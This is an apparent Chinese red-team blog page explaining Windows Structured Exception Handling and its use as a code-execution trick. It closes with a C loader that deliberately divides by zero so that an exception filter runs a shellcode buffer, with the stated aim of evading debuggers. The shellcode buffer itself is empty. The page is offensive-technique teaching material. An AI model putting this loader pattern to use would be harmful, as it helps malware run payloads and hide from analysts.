idiotc4t's blog
  • 关于这个博客
  • 武器设计
    • 我也不知道能不能写
    • C2手稿
      • Heap加密
      • 数据打包DataPacker
      • 真·手稿
      • 实现UML图
    • 先占个位置
  • 武器化
    • COM组件相关的武器化开发技术
    • 攻击demo的bof改造
    • Go项目反射改造
    • VulnBins的利用 (vuln driver)
  • 红队研究
    • NtQueryInformationProcess逆向
    • NetUserAdd逆向
  • 应急响应
    • WannaMine4.0专杀的一些技巧
  • 防御逃避
    • ReflectiveDLLInjection变形应用
    • Execute-Assembly实现
    • ShadowMove复现与思考
    • 载入第二个Ntdll绕Hook
    • 编译时混淆字符串&函数调用
    • 基于线程结束的EventLog绕过
    • 动态获取系统调用(syscall)号
    • 基于内存补丁的AMSI绕过
    • 基于API Hook和DLL注入的AMSI绕过
    • 基于内存补丁ETW的绕过
    • 基于断链的DLL隐藏
    • 基于HEX字符串执行的AV绕过
    • CobaltStrike Argue命令实现
    • 简单的分离免杀
    • 伪装PPID规避检测
    • 伪装命令行规避检测
    • 通过重写ring3 API函数实现免杀
    • 动态调用无导入表编译
    • 基于Registry的虚拟机检测
    • 利用杀毒软件删除任意文件
    • 反转字符串绕杀软
    • 重新加载.text节拖钩
    • x64转换层&跨位数进程注入
  • 代码与进程注入
    • Divide and Conquer
    • Clipboard Data Deliver
    • .NET Reflective Injection
    • APC Thread Hijack
    • CreateRemoteThread
    • APC Injection
    • Mapping Injection
    • Bypass Session 0 Injection
    • WhiteFile Offset Table Generate Shellcode
    • Early Bird
    • Early Bird & CreateRemoteThread
    • TLS Code Execute
    • SEH Code Execute
    • APC & NtTestAlert Code Execute
    • NtCreateSection & NtMapViewOfSection Code Execute
    • Process Hollowing
    • SetContext Hijack Thread
    • DLL Hollowing
  • 权限提升
    • 基于注册表劫持BypassUAC
    • 基于dll劫持BypassUac
    • 通过com组件BypassUAC
    • 通过复制Token提权到SYSTEM
    • 通过code&dll注入提权到SYSTEM
    • 通过伪装PPID提权到SYSTEM
    • 通过系统服务提权到SYSTEM
  • 权限维持
    • 主机特征绑定木马
    • 寻找有价值的文件
    • 获取机器安装的软件
    • 通过API添加Windows用户
    • Detours InLine Hook
    • DLL劫持
    • RID劫持
    • 自启动服务
    • 编写简单远控
    • 注册表自启动项
由 GitBook 提供支持
在本页
  • SEH简介
  • SEH实现
  • SEH利用
  • LINKS

这有帮助吗?

  1. 代码与进程注入

SEH Code Execute

上一页TLS Code Execute下一页APC & NtTestAlert Code Execute

最后更新于4年前

这有帮助吗?

SEH简介

SEH(Structured Exception Handling)结构化异常处理,是windows操作系统默认的错误处理机制,它允许我们在程序产所错误时使用特定的异常处理函数处理这个异常,尽管提供的功能预取为处理异常,但由于其功能的特点,也往往大量用于反调试。

讲原理的话还挺复杂的,用户层异常涉及到多次换栈cpu层级切换,这里不做简介,有兴趣的可以参考段钢老师的《加密与解密》。

SEH默认存储在栈中,以链表的形式保存其结构如下。

typedef struct _Exception_SEH_List{	
PException_SEH *next;    //*next指针指向下一个节点,	
PException_DISPOSITION handle;    //handle指向一个异常处理函数。
}_Exception_SEH_List,*_Exception_SEH_List;

当异常产生时操作系统会接管并会按照(A)->(B)->(C)的顺序依次传递,直到异常处理完毕。

异常处理函数通常也遵循约定的编写格式,由于异常处理函数是一个回调函数,所以第一参数是由操作系统传递的一个指向EXCEPTION_RECORD结构体的指针。

CONTEXT保存CPU处理异常前的状态,用于处理后的恢复。

typedef struct _EXCEPTION_RECORD {
    DWORD ExceptionCode;   //异常代码
    DWORD ExceptionFlags;
    struct _EXCEPTION_RECORD *ExceptionRecord;
    PVOID ExceptionAddress;   //异常发生地址
    DWORD NumberParameters;
    ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

常见的异常:

EXCEPTION_ACCESS_VIOLATION     0xC0000005     程序企图读写一个不可访问的地址时引发的异常。例如企图读取0地址处的内存。
EXCEPTION_ARRAY_BOUNDS_EXCEEDED    0xC000008C     数组访问越界时引发的异常。
EXCEPTION_BREAKPOINT                           0x80000003     触发断点时引发的异常。
EXCEPTION_DATATYPE_MISALIGNMENT    0x80000002     程序读取一个未经对齐的数据时引发的异常。
EXCEPTION_FLT_DENORMAL_OPERAND     0xC000008D     如果浮点数操作的操作数是非正常的,则引发该异常。所谓非正常,即它的值太小以至于不能用标准格式表示出来。
EXCEPTION_FLT_DIVIDE_BY_ZERO                   0xC000008E     浮点数除法的除数是0时引发该异常。
EXCEPTION_FLT_INEXACT_RESULT           0xC000008F     浮点数操作的结果不能精确表示成小数时引发该异常。
EXCEPTION_FLT_INVALID_OPERATION            0xC0000090     该异常表示不包括在这个表内的其它浮点数异常。
EXCEPTION_FLT_OVERFLOW                             0xC0000091     浮点数的指数超过所能表示的最大值时引发该异常。
EXCEPTION_FLT_STACK_CHECK                  0xC0000092     进行浮点数运算时栈发生溢出或下溢时引发该异常。
EXCEPTION_FLT_UNDERFLOW                    0xC0000093     浮点数的指数小于所能表示的最小值时引发该异常。
EXCEPTION_ILLEGAL_INSTRUCTION          0xC000001D     程序企图执行一个无效的指令时引发该异常。
EXCEPTION_IN_PAGE_ERROR                        0xC0000006     程序要访问的内存页不在物理内存中时引发的异常。
EXCEPTION_INT_DIVIDE_BY_ZERO                   0xC0000094     整数除法的除数是0时引发该异常。
EXCEPTION_INT_OVERFLOW                             0xC0000095     整数操作的结果溢出时引发该异常。
EXCEPTION_INVALID_DISPOSITION                  0xC0000026     异常处理器返回一个无效的处理的时引发该异常。
EXCEPTION_NONCONTINUABLE_EXCEPTION     0xC0000025     发生一个不可继续执行的异常时,如果程序继续执行,则会引发该异常。
EXCEPTION_PRIV_INSTRUCTION                     0xC0000096     程序企图执行一条当前CPU模式不允许的指令时引发该异常。
EXCEPTION_SINGLE_STEP                          0x80000004     标志寄存器的TF位为1时,每执行一条指令就会引发该异常。主要用于单步调试。
EXCEPTION_STACK_OVERFLOW                   0xC00000FD     栈溢出时引发该异常。

异常发生的时候,执行异常代码的线程就会发生中断,转而运行SEH,此时操作系统会把线程 CONTEXT结构体的指针传递给异常处理函数的相应参数。由于这个处理函数可以由我们自定义,所以我们可以利用操作系统来帮我执行shellcode,同时由于seh的特殊性,调试器默认会接管异常而不使用seh,所以我们通常会利用seh进行一些反调试。

结构化异常基于线程,每个单独的线程都有自己的seh链,我们可以在TEB.NtTib.ExceptionList找到seh的链表头,而TEB可以在FS:[00]寄存器位置找到,NTTIB和ExceptionList分别处于各自结构体第一个成员,所以FS:[00]=TEB.NtTib.ExceptionList。

SEH实现

原始实现:

//1.挂入链表相当于这部分
//fs[0]-> Exception
	_asm
	{
		mov eax, fs:[0]
		mov temp,eax
		lea ecx,Exception
		mov fs:[0],ecx
	}
	//为SEH成员赋值
	Exception.Next = (_EXCEPTION*)temp;
	Exception.Handler = (DWORD)&MyEexception_handler;

//下面是2,3
EXCEPTION_DISPOSITION _cdecl MyEexception_handler
(
	struct _EXCEPTION_RECORD *ExceptionRecord,	//异常结构体
	PVOID EstablisherFrame,						//SEH结构体地址
	struct _CONTEXT *ContextRecord,				//存储异常发生时的各种寄存器的值 栈位置等
	PVOID DispatcherContext
)
{
	if (ExceptionRecord->ExceptionCode == 0xC0000094)		//2.异常过滤
	{
		ContextRecord->Eip = ContextRecord->Eip + 2;			//3.异常处理
		ContextRecord->Ecx = 100;

		return ExceptionContinueExecution;
	}
	return ExceptionContinueSearch;
}

编译器封装:

//这里的代码底层实现就类似上面的代码。
_try						//1.挂入链表
	{

	}
	_except(过滤表达式)	//2.异常过滤
	{
		异常处理程序		//3.异常处理程序
	}

异常过滤表达式常量值
1) EXCEPTION_EXECUTE_HANDLER (1)	执行except代码
2) EXCEPTION_CONTINUE_SEARCH (0)	寻找下一个异常处理函数
3) EXCEPTION_CONTINUE_EXECUTION (-1)	返回出错位置重新执行


表达式由多种写法:
1.直接写常量值
_except(EXCEPTION_CONTINUE_EXECUTION)
2.表达式
_except(GetExceptionCode() == 0xC0000094 ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
3.调用函数
_except(ExceptFilter(GetExceptionInformation()))

SEH利用

如果有调试器并接管异常,那么程序会在发生除零异常的位置停滞,而没有调试器程序则会处理这个异常并执行shellcode。

#include<Windows.h>
#include<stdio.h>
#pragma comment(linker, "/section:.data,RWE")
char shellcode[] =
"";
int a = 1;
int b = 0;

int ExceptFilter()
{
	b = 1;
	((void(*NTAPI)(void)) & shellcode)();
	return EXCEPTION_CONTINUE_EXECUTION;//返回出错位置重新执行
}

int main()
{
	_try
	{
		int c = a / b;
	}
	_except(ExceptFilter()) {
		
	};

	return 0;

}

或:

LINKS

Logo[C++]深入解析结构化异常处理(SEH) - 疯狂delphi - 博客园
https://bbs.pediy.com/thread-249592.htmbbs.pediy.com
Logo5.SEH(结构化异常处理)_My classmates-CSDN博客_seh异常
Logo6.编译器拓展SEH_My classmates-CSDN博客